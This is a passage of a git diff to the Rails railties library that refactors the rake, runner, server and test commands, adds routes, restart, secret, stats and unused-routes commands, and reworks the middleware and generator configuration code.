diff --git a/railties/lib/rails/commands/plugin/plugin_command.rb b/railties/lib/rails/commands/plugin/plugin_command.rb
index b40ab006af582..5037980a1d86f 100644
--- a/railties/lib/rails/commands/plugin/plugin_command.rb
+++ b/railties/lib/rails/commands/plugin/plugin_command.rb
@@ -1,8 +1,12 @@
+# frozen_string_literal: true
+
 module Rails
   module Command
     class PluginCommand < Base # :nodoc:
       hide_command!
 
+      self.bin = "rails"
+
       def help
         run_plugin_generator %w( --help )
       end
@@ -24,7 +28,7 @@ def perform(type = nil, *plugin_args)
 
           if File.exist?(railsrc)
             extra_args = File.read(railsrc).split(/\n+/).flat_map(&:split)
-            puts "Using #{extra_args.join(" ")} from #{railsrc}"
+            say "Using #{extra_args.join(" ")} from #{railsrc}"
             plugin_args.insert(1, *extra_args)
           end
         end
diff --git a/railties/lib/rails/commands/rake/rake_command.rb b/railties/lib/rails/commands/rake/rake_command.rb
index 075b1fd23d12f..24b56a3bfd2a1 100644
--- a/railties/lib/rails/commands/rake/rake_command.rb
+++ b/railties/lib/rails/commands/rake/rake_command.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Rails
   module Command
     class RakeCommand < Base # :nodoc:
@@ -7,41 +9,50 @@ class RakeCommand < Base # :nodoc:
 
       class << self
         def printing_commands
-          formatted_rake_tasks.map(&:first)
+          rake_tasks.filter_map do |task|
+            if task.comment && task.locations.any?(non_app_file_pattern)
+              [task.name_with_args, task.comment]
+            end
+          end
         end
 
-        def perform(task, *)
-          require_rake
+        def perform(task, args, config)
+          with_rake(task, *args) do |rake|
+            if unrecognized_task = (rake.top_level_tasks - ["default"]).find { |task| !rake.lookup(task[/[^\[]+/]) }
+              @rake_tasks = rake.tasks
+              raise UnrecognizedCommandError.new(unrecognized_task)
+            end
 
-          ARGV.unshift(task) # Prepend the task, so Rake knows how to run it.
+            rake.options.suppress_backtrace_pattern = non_app_file_pattern
 
-          Rake.application.standard_exception_handling do
-            Rake.application.init("rails")
-            Rake.application.load_rakefile
-            Rake.application.top_level
+            rake.standard_exception_handling do
+              ActiveSupport.error_reporter.record(source: "rake_command.rails") do
+                rake.top_level
+              end
+            end
           end
         end
 
         private
-          def rake_tasks
-            require_rake
-
-            return @rake_tasks if defined?(@rake_tasks)
-
-            require_application_and_environment!
+          def non_app_file_pattern
+            /\A(?!#{Regexp.quote Rails::Command.root.to_s})/
+          end
 
+          def with_rake(*args, &block)
+            require "rake"
             Rake::TaskManager.record_task_metadata = true
-            Rake.application.instance_variable_set(:@name, "rails")
-            load_tasks
-            @rake_tasks = Rake.application.tasks.select(&:comment)
-          end
 
-          def formatted_rake_tasks
-            rake_tasks.map { |t| [ t.name_with_args, t.comment ] }
+            result = nil
+            Rake.with_application do |rake|
+              rake.init(bin, args) unless args.empty?
+              rake.load_rakefile
+              result = block.call(rake)
+            end
+            result
           end
 
-          def require_rake
-            require "rake" # Defer booting Rake until we know it's needed.
+          def rake_tasks
+            @rake_tasks ||= with_rake(&:tasks)
           end
       end
     end
diff --git a/railties/lib/rails/commands/restart/restart_command.rb b/railties/lib/rails/commands/restart/restart_command.rb
new file mode 100644
index 0000000000000..f185667dcd43a
--- /dev/null
+++ b/railties/lib/rails/commands/restart/restart_command.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module Rails
+  module Command
+    class RestartCommand < Base # :nodoc:
+      desc "restart", "Restart app by touching tmp/restart.txt"
+      def perform
+        require "fileutils"
+        FileUtils.mkdir_p Rails::Command.application_root.join("tmp")
+        FileUtils.touch   Rails::Command.application_root.join("tmp/restart.txt")
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/routes/routes_command.rb b/railties/lib/rails/commands/routes/routes_command.rb
new file mode 100644
index 0000000000000..c979a9014b8a1
--- /dev/null
+++ b/railties/lib/rails/commands/routes/routes_command.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require "rails/command"
+
+module Rails
+  module Command
+    class RoutesCommand < Base # :nodoc:
+      class_option :controller, aliases: "-c", desc: "Filter by a specific controller, e.g. PostsController or Admin::PostsController."
+      class_option :grep, aliases: "-g", desc: "Grep routes by a specific pattern."
+      class_option :expanded, type: :boolean, aliases: "-E", desc: "Print routes expanded vertically with parts explained."
+      class_option :unused, type: :boolean, aliases: "-u", desc: "Print unused routes."
+
+      no_commands do
+        def invoke_command(*)
+          if options.key?("unused")
+            Rails::Command.invoke "unused_routes", ARGV
+          else
+            super
+          end
+        end
+      end
+
+      desc "routes", "List all the defined routes"
+      def perform(*)
+        boot_application!
+        require "action_dispatch/routing/inspector"
+
+        say inspector.format(formatter, routes_filter)
+      end
+
+      private
+        def inspector
+          ActionDispatch::Routing::RoutesInspector.new(Rails.application.routes.routes)
+        end
+
+        def formatter
+          if options.key?("expanded")
+            ActionDispatch::Routing::ConsoleFormatter::Expanded.new
+          else
+            ActionDispatch::Routing::ConsoleFormatter::Sheet.new
+          end
+        end
+
+        def routes_filter
+          options.symbolize_keys.slice(:controller, :grep)
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/runner/USAGE b/railties/lib/rails/commands/runner/USAGE
index b2a6e8493d09a..b0e6d164a623d 100644
--- a/railties/lib/rails/commands/runner/USAGE
+++ b/railties/lib/rails/commands/runner/USAGE
@@ -1,17 +1,22 @@
+Description:
+    The Rails `runner` allows running Ruby code in the context of your application.
+
 Examples:
+    Run `puts Rails.env` after loading the app:
 
-Run `puts Rails.env` after loading the app:
+        <%= executable %> 'puts Rails.env'
 
-  <%= executable %> 'puts Rails.env'
+    Run the Ruby file located at `path/to/filename.rb` after loading the app:
 
-Run the Ruby file located at `path/to/filename.rb` after loading the app:
+        <%= executable %> path/to/filename.rb
 
-  <%= executable %> path/to/filename.rb
+    Run the Ruby script read from stdin after loading the app:
 
-<% unless Gem.win_platform? %>
-You can also use the runner command as a shebang line for your executables:
+        <%= executable %> -
+<% unless Gem.win_platform? -%>
 
-  #!/usr/bin/env <%= File.expand_path(executable) %>
+    You can also use the runner command as a shebang line for your executables:
 
-  Product.all.each { |p| p.price *= 2 ; p.save! }
-<% end %>
+        #!/usr/bin/env <%= File.expand_path(executable) %>
+        Product.all.each { |p| p.price *= 2 ; p.save! }
+<% end -%>
diff --git a/railties/lib/rails/commands/runner/runner_command.rb b/railties/lib/rails/commands/runner/runner_command.rb
index 4989a7837d2ec..4d79955437234 100644
--- a/railties/lib/rails/commands/runner/runner_command.rb
+++ b/railties/lib/rails/commands/runner/runner_command.rb
@@ -1,46 +1,81 @@
+# frozen_string_literal: true
+
+require "rails/command/environment_argument"
+
 module Rails
   module Command
     class RunnerCommand < Base # :nodoc:
-      class_option :environment, aliases: "-e", type: :string,
-        default: Rails::Command.environment.dup,
-        desc: "The environment for the runner to operate under (test/development/production)"
+      include EnvironmentArgument
 
-      def help
-        super
-        puts self.class.desc
-      end
+      class_option :skip_executor, type: :boolean, aliases: "-w", desc: "Don't wrap with Rails Executor", default: false
 
-      def self.banner(*)
-        "#{super} [<'Some.ruby(code)'> | <filename.rb>]"
+      no_commands do
+        def help(command_name = nil, *)
+          super
+          if command_name == "runner"
+            say ""
+            say self.class.class_usage
+          end
+        end
       end
 
-      def perform(code_or_file = nil, *file_argv)
+      desc "runner [<'Some.ruby(code)'> | <filename.rb> | -]",
+        "Run Ruby code in the context of your application"
+      def perform(code_or_file = nil, *command_argv)
         unless code_or_file
           help
           exit 1
         end
 
-        ENV["RAILS_ENV"] = options[:environment]
-
-        require_application_and_environment!
+        boot_application!
         Rails.application.load_runner
 
-        if File.exist?(code_or_file)
-          $0 = code_or_file
-          ARGV.replace(file_argv)
-          Kernel.load code_or_file
+        ARGV.replace(command_argv)
+
+        wrap_with_executor = !options[:skip_executor]
+        if code_or_file == "-"
+          conditional_executor(wrap_with_executor, source: "application.runner.railties") do
+            eval($stdin.read, TOPLEVEL_BINDING, "stdin")
+          end
+        elsif File.exist?(code_or_file)
+          expanded_file_path = File.expand_path code_or_file
+          $0 = expanded_file_path
+          conditional_executor(wrap_with_executor, source: "application.runner.railties") do
+            Kernel.load expanded_file_path
+          end
         else
           begin
-            eval(code_or_file, binding, __FILE__, __LINE__)
-          rescue SyntaxError, NameError => error
-            $stderr.puts "Please specify a valid ruby command or the path of a script to run."
-            $stderr.puts "Run '#{self.class.executable} -h' for help."
-            $stderr.puts
-            $stderr.puts error
+            conditional_executor(wrap_with_executor, source: "application.runner.railties") do
+              eval(code_or_file, TOPLEVEL_BINDING, __FILE__, __LINE__)
+            end
+          rescue SyntaxError, NameError => e
+            if looks_like_a_file_path?(code_or_file)
+              error "The file #{code_or_file} could not be found, please check and try again."
+              error "Run '#{self.class.executable} -h' for help."
+            else
+              error "Please specify a valid ruby command or the path of a script to run."
+              error "Run '#{self.class.executable} -h' for help."
+              error ""
+              error e
+            end
+
             exit 1
           end
         end
       end
+
+      private
+        def conditional_executor(enabled, **args, &block)
+          if enabled
+            Rails.application.executor.wrap(**args, &block)
+          else
+            yield
+          end
+        end
+
+        def looks_like_a_file_path?(code_or_file)
+          code_or_file.ends_with?(".rb")
+        end
     end
   end
 end
diff --git a/railties/lib/rails/commands/secret/secret_command.rb b/railties/lib/rails/commands/secret/secret_command.rb
new file mode 100644
index 0000000000000..5c29fef9293c1
--- /dev/null
+++ b/railties/lib/rails/commands/secret/secret_command.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Rails
+  module Command
+    class SecretCommand < Base # :nodoc:
+      desc "secret", "Generate a cryptographically secure secret key (this is typically used to generate a secret for cookie sessions)."
+      def perform
+        require "securerandom"
+        puts SecureRandom.hex(64)
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/server/server_command.rb b/railties/lib/rails/commands/server/server_command.rb
index d58721f648a79..59da430d9c5a4 100644
--- a/railties/lib/rails/commands/server/server_command.rb
+++ b/railties/lib/rails/commands/server/server_command.rb
@@ -1,11 +1,14 @@
+# frozen_string_literal: true
+
 require "fileutils"
-require "optparse"
 require "action_dispatch"
 require "rails"
 require "rails/dev_caching"
+require "rails/command/environment_argument"
+require "rails/rackup/server"
 
 module Rails
-  class Server < ::Rack::Server
+  class Server < Rackup::Server
     class Options
       def parse!(args)
         Rails::Command::ServerCommand.new([], args).server_options
@@ -18,14 +21,6 @@ def initialize(options = nil)
       set_environment
     end
 
-    # TODO: this is no longer required but we keep it for the moment to support older config.ru files.
-    def app
-      @app ||= begin
-        app = super
-        app.respond_to?(:to_app) ? app.to_app : app
-      end
-    end
-
     def opt_parser
       Options.new
     end
@@ -34,18 +29,22 @@ def set_environment
       ENV["RAILS_ENV"] ||= options[:environment]
     end
 
-    def start
-      print_boot_information
+    def start(after_stop_callback = nil)
       trap(:INT) { exit }
       create_tmp_directories
       setup_dev_caching
       log_to_stdout if options[:log_stdout]
 
-      super
+      super()
     ensure
-      # The '-h' option calls exit before @options is set.
-      # If we call 'options' with it unset, we get double help banners.
-      puts "Exiting" unless @options && options[:daemonize]
+      after_stop_callback.call if after_stop_callback
+    end
+
+    def serveable? # :nodoc:
+      server
+      true
+    rescue LoadError, NameError
+      false
     end
 
     def middleware
@@ -56,6 +55,10 @@ def default_options
       super.merge(@default_options)
     end
 
+    def served_url
+      "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}" unless use_puma?
+    end
+
     private
       def setup_dev_caching
         if options[:environment] == "development"
@@ -63,13 +66,6 @@ def setup_dev_caching
         end
       end
 
-      def print_boot_information
-        url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
-        puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
-        puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}"
-        puts "=> Run `rails server -h` for more startup options"
-      end
-
       def create_tmp_directories
         %w(cache pids sockets).each do |dir_to_make|
           FileUtils.mkdir_p(File.join(Rails.root, "tmp", dir_to_make))
@@ -83,78 +79,149 @@ def log_to_stdout
         console.formatter = Rails.logger.formatter
         console.level = Rails.logger.level
 
-        unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDOUT)
-          Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
+        unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDERR, STDOUT)
+          Rails.logger.broadcast_to(console)
         end
       end
 
-      def restart_command
-        "bin/rails server #{ARGV.join(' ')}"
+      def use_puma?
+        server.to_s.end_with?("Handler::Puma")
       end
   end
 
   module Command
     class ServerCommand < Base # :nodoc:
-      DEFAULT_PID_PATH = "tmp/pids/server.pid".freeze
+      include EnvironmentArgument
+
+      RACK_HANDLER_GEMS = %w(cgi webrick scgi thin puma unicorn falcon)
+      # Hard-coding a bunch of handlers here as we don't have a public way of
+      # querying them from the Rackup::Handler registry.
+      RACK_HANDLERS = RACK_HANDLER_GEMS + %w(fastcgi lsws)
+      RECOMMENDED_SERVER = "puma"
+
+      DEFAULT_PORT = 3000
+      DEFAULT_PIDFILE = "tmp/pids/server.pid"
 
       class_option :port, aliases: "-p", type: :numeric,
-        desc: "Runs Rails on the specified port.", banner: :port, default: 3000
-      class_option :binding, aliases: "-b", type: :string, default: "localhost",
-        desc: "Binds Rails to the specified IP.", banner: :IP
+        desc: "Run Rails on the specified port - defaults to 3000.", banner: :port
+      class_option :binding, aliases: "-b", type: :string,
+        desc: "Bind Rails to the specified IP - defaults to 'localhost' in development and '0.0.0.0' in other environments'.",
+        banner: :IP
       class_option :config, aliases: "-c", type: :string, default: "config.ru",
-        desc: "Uses a custom rackup configuration.", banner: :file
+        desc: "Use a custom rackup configuration.", banner: :file
       class_option :daemon, aliases: "-d", type: :boolean, default: false,
-        desc: "Runs server as a Daemon."
-      class_option :environment, aliases: "-e", type: :string,
-        desc: "Specifies the environment to run this server under (development/test/production).", banner: :name
-      class_option :pid, aliases: "-P", type: :string, default: DEFAULT_PID_PATH,
-        desc: "Specifies the PID file."
-      class_option "dev-caching", aliases: "-C", type: :boolean, default: nil,
-        desc: "Specifies whether to perform caching in development."
-
-      def initialize(args = [], local_options = {}, config = {})
-        @original_options = local_options
+        desc: "Run server as a Daemon."
+      class_option :using, aliases: "-u", type: :string,
+        desc: "Specify the Rack server used to run the application (thin/puma/webrick).", banner: :name
+      class_option :pid, aliases: "-P", type: :string,
+        desc: "Specify the PID file. Defaults to #{DEFAULT_PIDFILE} in development."
+      class_option :dev_caching, aliases: "-C", type: :boolean, default: nil,
+        desc: "Specify whether to perform caching in development."
+      class_option :restart, type: :boolean, default: nil, hide: true
+      class_option :early_hints, type: :boolean, default: nil, desc: "Enable HTTP/2 early hints."
+      class_option :log_to_stdout, type: :boolean, default: nil, optional: true,
+        desc: "Whether to log to stdout. Enabled by default in development when not daemonized."
+
+      def initialize(args, local_options, *)
         super
-        @server = self.args.shift
-        @log_stdout = options[:daemon].blank? && (options[:environment] || Rails.env) == "development"
+
+        @original_options = local_options - %w( --restart )
       end
 
+      desc "server", "Start the Rails server"
       def perform
         set_application_directory!
+        prepare_restart
+
         Rails::Server.new(server_options).tap do |server|
           # Require application after server sets environment to propagate
           # the --environment option.
           require APP_PATH
           Dir.chdir(Rails.application.root)
-          server.start
+
+          if server.serveable?
+            print_boot_information(server.server, server.served_url)
+            after_stop_callback = -> { say "Exiting" unless options[:daemon] }
+            server.start(after_stop_callback)
+          else
+            say rack_server_suggestion(options[:using])
+          end
         end
       end
 
       no_commands do
         def server_options
           {
-            server:             @server,
-            log_stdout:         @log_stdout,
-            Port:               port,
-            Host:               host,
-            DoNotReverseLookup: true,
-            config:             options[:config],
-            environment:        environment,
-            daemonize:          options[:daemon],
-            pid:                pid,
-            caching:            options["dev-caching"],
-            restart_cmd:        restart_command
+            user_supplied_options: user_supplied_options,
+            server:                options[:using],
+            log_stdout:            log_to_stdout?,
+            Port:                  port,
+            Host:                  host,
+            DoNotReverseLookup:    true,
+            config:                options[:config],
+            environment:           environment,
+            daemonize:             options[:daemon],
+            pid:                   pid,
+            caching:               options[:dev_caching],
+            restart_cmd:           restart_command,
+            early_hints:           early_hints
           }
         end
       end
 
       private
+        def user_supplied_options
+          @user_supplied_options ||= begin
+            # Convert incoming options array to a hash of flags
+            #   ["-p3001", "-C", "--binding", "127.0.0.1"] # => {"-p"=>true, "-C"=>true, "--binding"=>true}
+            user_flag = {}
+            @original_options.each do |command|
+              if command.start_with?("--")
+                option = command.split("=")[0]
+                user_flag[option] = true
+              elsif command =~ /\A(-.)/
+                user_flag[Regexp.last_match[0]] = true
+              end
+            end
+
+            # Collect all options that the user has explicitly defined so we can
+            # differentiate them from defaults
+            user_supplied_options = []
+            self.class.class_options.select do |key, option|
+              if option.aliases.any? { |name| user_flag[name] } || user_flag["--#{option.name}"]
+                name = option.name.to_sym
+                case name
+                when :port
+                  name = :Port
+                when :binding
+                  name = :Host
+                when :dev_caching
+                  name = :caching
+                when :daemonize
+                  name = :daemon
+                end
+                user_supplied_options << name
+              end
+            end
+            user_supplied_options << :Host if ENV["HOST"] || ENV["BINDING"]
+            user_supplied_options << :Port if ENV["PORT"]
+            user_supplied_options << :pid if ENV["PIDFILE"]
+            user_supplied_options.uniq
+          end
+        end
+
         def port
-          ENV.fetch("PORT", options[:port]).to_i
+          options[:port] || ENV.fetch("PORT", DEFAULT_PORT).to_i
         end
 
         def host
-          ENV.fetch("HOST", options[:binding])
+          if options[:binding]
+            options[:binding]
+          else
+            default_host = environment == "development" ? "localhost" : "0.0.0.0"
+
+            ENV.fetch("BINDING", default_host)
+          end
         end
 
         def environment
@@ -162,15 +229,61 @@ def environment
         end
 
         def restart_command
-          "bin/rails server #{@server} #{@original_options.join(" ")}"
+          "#{executable} #{@original_options.join(" ")} --restart"
+        end
+
+        def early_hints
+          options[:early_hints]
+        end
+
+        def log_to_stdout?
+          options.fetch(:log_to_stdout) do
+            options[:daemon].blank? && environment == "development"
+          end
         end
 
         def pid
-          File.expand_path(options[:pid])
+          default_pidfile = environment == "development" ? DEFAULT_PIDFILE : nil
+          pid = options[:pid] || ENV["PIDFILE"] || default_pidfile
+          File.expand_path(pid) if pid
+        end
+
+        def prepare_restart
+          FileUtils.rm_f(pid) if pid && options[:restart]
+        end
+
+        def rack_server_suggestion(server)
+          if server.nil?
+            <<~MSG
+              Could not find a server gem. Maybe you need to add one to the Gemfile?
+
+                gem "#{RECOMMENDED_SERVER}"
+
+              Run `#{executable} --help` for more options.
+            MSG
+          elsif server.in?(RACK_HANDLER_GEMS)
+            <<~MSG
+              Could not load server "#{server}". Maybe you need to the add it to the Gemfile?
+
+                gem "#{server}"
+
+              Run `#{executable} --help` for more options.
+            MSG
+          else
+            error = CorrectableNameError.new("Could not find server '#{server}'.", server, RACK_HANDLERS)
+            <<~MSG
+              #{error.detailed_message}
+              Run `#{executable} --help` for more options.
+            MSG
+          end
         end
 
-        def self.banner(*)
-          "rails server [puma, thin etc] [options]"
+        def print_boot_information(server, url)
+          say <<~MSG
+            => Booting #{ActiveSupport::Inflector.demodulize(server)}
+            => Rails #{Rails.version} application starting in #{Rails.env} #{url}
+            => Run `#{executable} --help` for more startup options
+          MSG
         end
     end
   end
diff --git a/railties/lib/rails/commands/stats/stats_command.rb b/railties/lib/rails/commands/stats/stats_command.rb
new file mode 100644
index 0000000000000..0a7af8da1cd91
--- /dev/null
+++ b/railties/lib/rails/commands/stats/stats_command.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Rails
+  module Command
+    class StatsCommand < Base # :nodoc:
+      desc "stats", "Report code statistics (KLOCs, etc) from the application or engine"
+      def perform
+        require "rails/code_statistics"
+        boot_application!
+
+        stat_directories = Rails::CodeStatistics.directories.map do |name, dir|
+          [name, Rails::Command.application_root.join(dir)]
+        end.select { |name, dir| File.directory?(dir) }
+
+        Rails::CodeStatistics.new(*stat_directories).to_s
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/test/USAGE b/railties/lib/rails/commands/test/USAGE
new file mode 100644
index 0000000000000..ca13126e83820
--- /dev/null
+++ b/railties/lib/rails/commands/test/USAGE
@@ -0,0 +1,14 @@
+Examples:
+    You can run a single test by appending a line number to a filename:
+
+        <%= executable %> test/models/user_test.rb:27
+
+    You can run multiple tests with in a line range by appending the line range to a filename:
+
+        <%= executable %> test/models/user_test.rb:10-20
+
+    You can run multiple files and directories at the same time:
+
+        <%= executable %> test/controllers test/integration/login_test.rb
+
+    By default test failures and errors are reported inline during a run.
diff --git a/railties/lib/rails/commands/test/test_command.rb b/railties/lib/rails/commands/test/test_command.rb
index 7bf8f61137fd6..505026556b463 100644
--- a/railties/lib/rails/commands/test/test_command.rb
+++ b/railties/lib/rails/commands/test/test_command.rb
@@ -1,20 +1,79 @@
+# frozen_string_literal: true
+
 require "rails/command"
-require "rails/test_unit/minitest_plugin"
+require "rails/commands/rake/rake_command"
+require "rails/test_unit/runner"
+require "rails/test_unit/reporter"
 
 module Rails
   module Command
     class TestCommand < Base # :nodoc:
-      def help
-        perform # Hand over help printing to minitest.
+      def self.executable(*args)
+        args.empty? ? Rails::TestUnitReporter.executable : super
+      end
+
+      no_commands do
+        def help(command_name = nil, *)
+          super
+          if command_name == "test"
+            say ""
+            say self.class.class_usage
+          end
+          say ""
+          Minitest.run(%w(--help))
+        end
+      end
+
+      desc "test [PATHS...]", "Run tests except system tests"
+      def perform(*args)
+        $LOAD_PATH << Rails::Command.root.join("test").to_s
+
+        Rails::TestUnit::Runner.parse_options(args)
+        run_prepare_task if self.args.none?(EXACT_TEST_ARGUMENT_PATTERN)
+        Rails::TestUnit::Runner.run(args)
+      end
+
+      # Define Thor tasks to avoid going through Rake and booting twice when using bin/rails test:*
+      Rails::TestUnit::Runner::TEST_FOLDERS.each do |name|
+        desc name, "Run tests in test/#{name}"
+        define_method(name) do |*args|
+          perform("test/#{name}", *args)
+        end
       end
 
-      def perform(*)
-        $LOAD_PATH << Rails::Command.root.join("test")
+      desc "all", "Run all tests, including system tests"
+      def all(*args)
+        perform("test/**/*_test.rb", *args)
+      end
+
+      desc "functionals", "Run tests in test/controllers, test/mailers, and test/functional"
+      def functionals(*args)
+        perform("test/controllers", "test/mailers", "test/functional", *args)
+      end
+
+      desc "units", "Run tests in test/models, test/helpers, and test/unit"
+      def units(*args)
+        perform("test/models", "test/helpers", "test/unit", *args)
+      end
 
-        Minitest.run_via[:rails] = true
+      desc "system", "Run system tests only"
+      def system(*args)
+        perform("test/system", *args)
+      end
 
-        require "active_support/testing/autorun"
+      desc "generators", "Run tests in test/lib/generators"
+      def generators(*args)
+        perform("test/lib/generators", *args)
       end
+
+      private
+        EXACT_TEST_ARGUMENT_PATTERN = /^-n|^--name\b|#{Rails::TestUnit::Runner::PATH_ARGUMENT_PATTERN}/
+
+        def run_prepare_task
+          Rails::Command::RakeCommand.perform("test:prepare", [], {})
+        rescue UnrecognizedCommandError => error
+          raise unless error.name == "test:prepare"
+        end
     end
   end
 end
diff --git a/railties/lib/rails/commands/unused_routes/unused_routes_command.rb b/railties/lib/rails/commands/unused_routes/unused_routes_command.rb
new file mode 100644
index 0000000000000..9fd4fbff14890
--- /dev/null
+++ b/railties/lib/rails/commands/unused_routes/unused_routes_command.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require "rails/commands/routes/routes_command"
+
+module Rails
+  module Command
+    class UnusedRoutesCommand < Rails::Command::Base # :nodoc:
+      hide_command!
+      class_option :controller, aliases: "-c", desc: "Filter by a specific controller, e.g. PostsController or Admin::PostsController."
+      class_option :grep, aliases: "-g", desc: "Grep routes by a specific pattern."
+
+      class RouteInfo
+        def initialize(route)
+          requirements = route.requirements
+          @controller_name = requirements[:controller]
+          @action_name = requirements[:action]
+          @controller_class = (@controller_name.to_s.camelize + "Controller").safe_constantize
+        end
+
+        def unused?
+          controller_class_missing? || (action_missing? && template_missing?)
+        end
+
+        private
+          def view_path(root)
+            File.join(root.path, @controller_name, @action_name)
+          end
+
+          def controller_class_missing?
+            @controller_name && @controller_class.nil?
+          end
+
+          def template_missing?
+            @controller_class && @controller_class.try(:view_paths).to_a.flat_map { |path| Dir["#{view_path(path)}.*"] }.none?
+          end
+
+          def action_missing?
+            @controller_class && @controller_class.instance_methods.exclude?(@action_name.to_sym)
+          end
+      end
+
+      def perform(*)
+        boot_application!
+        require "action_dispatch/routing/inspector"
+
+        say(inspector.format(formatter, routes_filter))
+
+        exit(1) if routes.any?
+      end
+
+      private
+        def inspector
+          ActionDispatch::Routing::RoutesInspector.new(routes)
+        end
+
+        def routes
+          @routes ||= begin
+            routes = Rails.application.routes.routes.select do |route|
+              RouteInfo.new(route).unused?
+            end
+
+            ActionDispatch::Journey::Routes.new(routes)
+          end
+        end
+
+        def formatter
+          ActionDispatch::Routing::ConsoleFormatter::Unused.new
+        end
+
+        def routes_filter
+          options.symbolize_keys.slice(:controller, :grep)
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/version/version_command.rb b/railties/lib/rails/commands/version/version_command.rb
index ac745594eecb3..27819d4c6184e 100644
--- a/railties/lib/rails/commands/version/version_command.rb
+++ b/railties/lib/rails/commands/version/version_command.rb
@@ -1,6 +1,9 @@
+# frozen_string_literal: true
+
 module Rails
   module Command
     class VersionCommand < Base # :nodoc:
+      desc "version", "Show the Rails version"
       def perform
         Rails::Command.invoke :application, [ "--version" ]
       end
diff --git a/railties/lib/rails/configuration.rb b/railties/lib/rails/configuration.rb
index fc7d4909f67c6..61819fad87a0c 100644
--- a/railties/lib/rails/configuration.rb
+++ b/railties/lib/rails/configuration.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/ordered_options"
 require "active_support/core_ext/object"
 require "rails/paths"
@@ -5,17 +7,17 @@
 
 module Rails
   module Configuration
-    # MiddlewareStackProxy is a proxy for the Rails middleware stack that allows
+    # MiddlewareStackProxy is a proxy for the \Rails middleware stack that allows
     # you to configure middlewares in your application. It works basically as a
     # command recorder, saving each command to be applied after initialization
     # over the default middleware stack, so you can add, swap, or remove any
-    # middleware in Rails.
+    # middleware in \Rails.
     #
     # You can add your own middlewares by using the +config.middleware.use+ method:
     #
     #     config.middleware.use Magical::Unicorns
     #
-    # This will put the <tt>Magical::Unicorns</tt> middleware on the end of the stack.
+    # This will put the +Magical::Unicorns+ middleware on the end of the stack.
     # You can use +insert_before+ if you wish to add a middleware before another:
     #
     #     config.middleware.insert_before Rack::Head, Magical::Unicorns
@@ -28,6 +30,15 @@ module Configuration
     #
     #     config.middleware.swap ActionDispatch::Flash, Magical::Unicorns
     #
+    # Middlewares can be moved from one place to another:
+    #
+    #     config.middleware.move_before ActionDispatch::Flash, Magical::Unicorns
+    #
+    # This will move the +Magical::Unicorns+ middleware before the
+    # +ActionDispatch::Flash+. You can also move it after:
+    #
+    #     config.middleware.move_after ActionDispatch::Flash, Magical::Unicorns
+    #
     # And finally they can also be removed from the stack completely:
     #
     #     config.middleware.delete ActionDispatch::Flash
@@ -38,35 +49,45 @@ def initialize(operations = [], delete_operations = [])
         @delete_operations = delete_operations
       end
 
-      def insert_before(*args, &block)
-        @operations << [__method__, args, block]
+      def insert_before(...)
+        @operations << -> middleware { middleware.insert_before(...) }
       end
 
       alias :insert :insert_before
 
-      def insert_after(*args, &block)
-        @operations << [__method__, args, block]
+      def insert_after(...)
+        @operations << -> middleware { middleware.insert_after(...) }
       end
 
-      def swap(*args, &block)
-        @operations << [__method__, args, block]
+      def swap(...)
+        @operations << -> middleware { middleware.swap(...) }
       end
 
-      def use(*args, &block)
-        @operations << [__method__, args, block]
+      def use(...)
+        @operations << -> middleware { middleware.use(...) }
       end
 
-      def delete(*args, &block)
-        @delete_operations << [__method__, args, block]
+      def delete(...)
+        @delete_operations << -> middleware { middleware.delete(...) }
+      end
+
+      def move_before(...)
+        @delete_operations << -> middleware { middleware.move_before(...) }
+      end
+
+      alias :move :move_before
+
+      def move_after(...)
+        @delete_operations << -> middleware { middleware.move_after(...) }
       end
 
-      def unshift(*args, &block)
-        @operations << [__method__, args, block]
+      def unshift(...)
+        @operations << -> middleware { middleware.unshift(...) }
       end
 
-      def merge_into(other) #:nodoc:
-        (@operations + @delete_operations).each do |operation, args, block|
-          other.send(operation, *args, &block)
+      def merge_into(other) # :nodoc:
+        (@operations + @delete_operations).each do |operation|
+          operation.call(other)
         end
 
         other
@@ -77,18 +98,12 @@ def +(other) # :nodoc:
       end
 
       protected
-        def operations
-          @operations
-        end
-
-        def delete_operations
-          @delete_operations
-        end
+        attr_reader :operations, :delete_operations
     end
 
-    class Generators #:nodoc:
+    class Generators # :nodoc:
       attr_accessor :aliases, :options, :templates, :fallbacks, :colorize_logging, :api_only
-      attr_reader :hidden_namespaces
+      attr_reader :hidden_namespaces, :after_generate_callbacks
 
       def initialize
         @aliases = Hash.new { |h, k| h[k] = {} }
@@ -98,6 +113,7 @@ def initialize
         @colorize_logging = true
         @api_only = false
         @hidden_namespaces = []
+        @after_generate_callbacks = []
       end
 
       def initialize_copy(source)
@@ -111,10 +127,29 @@ def hide_namespace(namespace)
         @hidden_namespaces << namespace
       end
 
-      def method_missing(method, *args)
-        method = method.to_s.sub(/=$/, "").to_sym
+      def after_generate(&block)
+        @after_generate_callbacks << block
+      end
 
-        return @options[method] if args.empty?
+      def apply_rubocop_autocorrect_after_generate!
+        after_generate do |files|
+          parsable_files = files.filter { |file| File.exist?(file) && file.end_with?(".rb") }
+          unless parsable_files.empty?
+            system(RbConfig.ruby, "bin/rubocop", "-A", "--fail-level=E", "--format=quiet", *parsable_files, exception: true)
+          end
+        end
+      end
+
+      def method_missing(method, *args)
+        method = method.name.delete_suffix("=").to_sym
+
+        if args.empty?
+          if method == :rails
+            return @options[method]
+          else
+            return @options[:rails][method]
+          end
+        end
 
         if method == :rails || args.first.is_a?(Hash)
